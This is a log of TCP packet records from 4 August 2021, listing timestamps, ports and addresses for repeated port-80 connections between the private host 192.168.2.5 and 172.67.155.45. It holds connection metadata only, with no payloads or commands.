Aug 4, 2021 13:56:06.071677923 CEST	80	49737	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.329020977 CEST	49738	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.346548080 CEST	80	49738	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.347179890 CEST	49738	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.349740982 CEST	49738	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.368278980 CEST	80	49738	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.368350983 CEST	49738	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.386997938 CEST	80	49738	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.631246090 CEST	80	49738	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.631409883 CEST	80	49738	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.631551981 CEST	49738	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.631577969 CEST	49738	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.648418903 CEST	80	49738	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.883205891 CEST	49739	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.901272058 CEST	80	49739	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.901532888 CEST	49739	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.909193039 CEST	49739	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.926039934 CEST	80	49739	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.926192045 CEST	49739	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.942918062 CEST	80	49739	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.175179005 CEST	80	49739	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.175223112 CEST	80	49739	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.175509930 CEST	49739	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.175529957 CEST	49739	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.192447901 CEST	80	49739	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.467222929 CEST	49740	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.483948946 CEST	80	49740	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.484127998 CEST	49740	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.486882925 CEST	49740	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.503617048 CEST	80	49740	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.503794909 CEST	49740	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.522469997 CEST	80	49740	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.755872011 CEST	80	49740	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.755923033 CEST	80	49740	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:07.756108999 CEST	49740	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.756164074 CEST	49740	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:07.772897959 CEST	80	49740	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.022677898 CEST	49741	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.042140961 CEST	80	49741	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.042280912 CEST	49741	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.047801018 CEST	49741	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.064635038 CEST	80	49741	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.064805031 CEST	49741	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.081545115 CEST	80	49741	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.323024988 CEST	80	49741	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.323096037 CEST	80	49741	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.323245049 CEST	49741	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.323313951 CEST	49741	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.340058088 CEST	80	49741	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.575158119 CEST	49742	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.591768026 CEST	80	49742	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.591917992 CEST	49742	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.594594002 CEST	49742	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.611278057 CEST	80	49742	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.611488104 CEST	49742	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.628173113 CEST	80	49742	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.890055895 CEST	80	49742	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.890094995 CEST	80	49742	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:08.890187979 CEST	49742	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.890227079 CEST	49742	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:08.908392906 CEST	80	49742	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.171278954 CEST	49743	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.189651012 CEST	80	49743	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.190876007 CEST	49743	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.193658113 CEST	49743	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.212258101 CEST	80	49743	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.212368965 CEST	49743	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.230696917 CEST	80	49743	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.552714109 CEST	80	49743	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.552891970 CEST	80	49743	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.553103924 CEST	49743	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.553234100 CEST	49743	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.572187901 CEST	80	49743	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.834863901 CEST	49744	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.851999044 CEST	80	49744	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.855017900 CEST	49744	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.862544060 CEST	49744	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.881908894 CEST	80	49744	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:09.881997108 CEST	49744	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:09.901350021 CEST	80	49744	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.170315981 CEST	80	49744	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.170346022 CEST	80	49744	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.170687914 CEST	49744	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.170809031 CEST	49744	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.189467907 CEST	80	49744	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.419428110 CEST	49745	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.435931921 CEST	80	49745	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.436125040 CEST	49745	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.451917887 CEST	49745	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.468750000 CEST	80	49745	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.468913078 CEST	49745	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.487282038 CEST	80	49745	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.816355944 CEST	80	49745	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.816771984 CEST	49745	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.816778898 CEST	80	49745	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:10.816899061 CEST	49745	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:10.833349943 CEST	80	49745	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.091809034 CEST	49746	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.110085964 CEST	80	49746	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.110290051 CEST	49746	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.113178015 CEST	49746	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.132244110 CEST	80	49746	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.132355928 CEST	49746	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.149382114 CEST	80	49746	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.362956047 CEST	80	49746	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.362978935 CEST	80	49746	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.363209009 CEST	49746	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.363296032 CEST	49746	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.380063057 CEST	80	49746	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.616697073 CEST	49747	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.635196924 CEST	80	49747	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.635343075 CEST	49747	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.639731884 CEST	49747	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.658087015 CEST	80	49747	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.658202887 CEST	49747	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.676511049 CEST	80	49747	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.893894911 CEST	80	49747	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.893934965 CEST	80	49747	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:11.894030094 CEST	49747	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.894063950 CEST	49747	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:11.910969019 CEST	80	49747	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.143946886 CEST	49748	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.160950899 CEST	80	49748	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.163254976 CEST	49748	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.175400019 CEST	49748	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.194319010 CEST	80	49748	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.194849014 CEST	49748	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.213440895 CEST	80	49748	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.451847076 CEST	80	49748	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.451884031 CEST	80	49748	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.452037096 CEST	49748	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.452075958 CEST	49748	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.469269037 CEST	80	49748	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.710613012 CEST	49749	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.727319002 CEST	80	49749	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.727458000 CEST	49749	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.730545044 CEST	49749	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.747591019 CEST	80	49749	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:12.747842073 CEST	49749	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:12.766163111 CEST	80	49749	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.006443977 CEST	80	49749	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.006489038 CEST	80	49749	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.006664991 CEST	49749	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.006726027 CEST	49749	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.023478985 CEST	80	49749	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.286679983 CEST	49750	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.306091070 CEST	80	49750	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.306277990 CEST	49750	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.315887928 CEST	49750	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.332626104 CEST	80	49750	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.332792044 CEST	49750	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.350799084 CEST	80	49750	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.578234911 CEST	80	49750	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.578294992 CEST	80	49750	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.578509092 CEST	49750	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.578557968 CEST	49750	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.595230103 CEST	80	49750	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.864846945 CEST	49751	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.883188963 CEST	80	49751	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.884136915 CEST	49751	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.888304949 CEST	49751	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.906888008 CEST	80	49751	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:13.907182932 CEST	49751	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:13.926034927 CEST	80	49751	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.272922039 CEST	80	49751	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.272962093 CEST	80	49751	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.273070097 CEST	49751	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.274034977 CEST	49751	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.292551041 CEST	80	49751	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.533905029 CEST	49752	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.552665949 CEST	80	49752	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.552915096 CEST	49752	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.555655003 CEST	49752	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.572370052 CEST	80	49752	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.572478056 CEST	49752	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.589098930 CEST	80	49752	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.819765091 CEST	80	49752	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.819902897 CEST	49752	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.820101023 CEST	80	49752	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:14.820192099 CEST	49752	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:14.836622953 CEST	80	49752	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.075728893 CEST	49753	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.092948914 CEST	80	49753	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.093101025 CEST	49753	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.095796108 CEST	49753	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.112720966 CEST	80	49753	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.112811089 CEST	49753	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.129695892 CEST	80	49753	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.370923996 CEST	80	49753	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.371136904 CEST	80	49753	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.371251106 CEST	49753	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.371278048 CEST	49753	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.388194084 CEST	80	49753	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.640872955 CEST	49756	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.659960985 CEST	80	49756	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.661365032 CEST	49756	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.665074110 CEST	49756	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.682002068 CEST	80	49756	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.683454990 CEST	49756	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.700293064 CEST	80	49756	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.928302050 CEST	80	49756	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.928333998 CEST	80	49756	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:15.928483963 CEST	49756	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.928602934 CEST	49756	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:15.945513010 CEST	80	49756	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.231074095 CEST	49757	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.247737885 CEST	80	49757	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.251543045 CEST	49757	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.256108046 CEST	49757	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.272706985 CEST	80	49757	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.275501013 CEST	49757	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.292090893 CEST	80	49757	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.577822924 CEST	80	49757	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.580295086 CEST	80	49757	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.580476046 CEST	49757	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.580843925 CEST	49757	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.598272085 CEST	80	49757	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.870387077 CEST	49758	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.887584925 CEST	80	49758	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.888921022 CEST	49758	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.892060041 CEST	49758	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.908817053 CEST	80	49758	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:16.911642075 CEST	49758	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:16.929630041 CEST	80	49758	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.155105114 CEST	80	49758	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.155158997 CEST	80	49758	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.155250072 CEST	49758	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.155277014 CEST	49758	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.171993017 CEST	80	49758	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.372839928 CEST	49759	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.392083883 CEST	80	49759	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.394119024 CEST	49759	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.396892071 CEST	49759	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.416699886 CEST	80	49759	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.417063951 CEST	49759	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.436305046 CEST	80	49759	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.669702053 CEST	80	49759	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.669722080 CEST	80	49759	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:17.671488047 CEST	49759	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.671515942 CEST	49759	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:17.688067913 CEST	80	49759	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:18.358366966 CEST	49760	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:18.378829002 CEST	80	49760	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:18.378943920 CEST	49760	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:18.382396936 CEST	49760	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:18.399238110 CEST	80	49760	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:18.399657965 CEST	49760	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:18.416593075 CEST	80	49760	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:18.644195080 CEST	80	49760	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:18.644232035 CEST	80	49760	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:18.644437075 CEST	49760	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:18.702090979 CEST	49760	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:18.721858978 CEST	80	49760	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:19.582068920 CEST	49761	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:19.598803997 CEST	80	49761	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:19.599005938 CEST	49761	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:19.667316914 CEST	49761	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:19.684317112 CEST	80	49761	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:19.684451103 CEST	49761	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:19.702971935 CEST	80	49761	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:19.946492910 CEST	80	49761	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:19.946646929 CEST	49761	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:19.946805954 CEST	80	49761	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:19.946861982 CEST	49761	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:19.963393927 CEST	80	49761	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.192528009 CEST	49762	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.209429026 CEST	80	49762	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.209527969 CEST	49762	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.212970972 CEST	49762	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.231929064 CEST	80	49762	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.232083082 CEST	49762	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.249346018 CEST	80	49762	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.709158897 CEST	80	49762	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.709192038 CEST	80	49762	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.709275007 CEST	49762	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.709393024 CEST	49762	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.727989912 CEST	80	49762	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.917634964 CEST	49763	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.934607029 CEST	80	49763	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.934779882 CEST	49763	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.937885046 CEST	49763	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.954498053 CEST	80	49763	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:20.954565048 CEST	49763	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:20.971410990 CEST	80	49763	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.194458961 CEST	80	49763	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.194477081 CEST	80	49763	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.194658995 CEST	49763	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.194678068 CEST	49763	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.211636066 CEST	80	49763	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.411427975 CEST	49765	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.428087950 CEST	80	49765	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.428316116 CEST	49765	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.431323051 CEST	49765	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.448327065 CEST	80	49765	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.452016115 CEST	49765	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.468657970 CEST	80	49765	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.687176943 CEST	80	49765	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.687345982 CEST	49765	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.687438011 CEST	80	49765	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.687530994 CEST	49765	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.704309940 CEST	80	49765	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.917104006 CEST	49766	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.936510086 CEST	80	49766	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.936600924 CEST	49766	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.951267958 CEST	49766	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.968389988 CEST	80	49766	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:21.968465090 CEST	49766	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:21.985876083 CEST	80	49766	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.203460932 CEST	80	49766	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.203613997 CEST	49766	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.203648090 CEST	80	49766	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.203696012 CEST	49766	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.220670938 CEST	80	49766	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.571352005 CEST	49767	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.588112116 CEST	80	49767	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.588221073 CEST	49767	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.609944105 CEST	49767	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.626807928 CEST	80	49767	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.626900911 CEST	49767	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.643723011 CEST	80	49767	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.877135992 CEST	80	49767	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.877278090 CEST	49767	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.877381086 CEST	80	49767	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:22.877530098 CEST	49767	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:22.895526886 CEST	80	49767	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.087814093 CEST	49768	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.104765892 CEST	80	49768	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.106483936 CEST	49768	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.116600990 CEST	49768	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.133240938 CEST	80	49768	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.133416891 CEST	49768	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:23.150760889 CEST	80	49768	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:23.422662020 CEST	80	49768	172.67.155.45	192.168.2.5
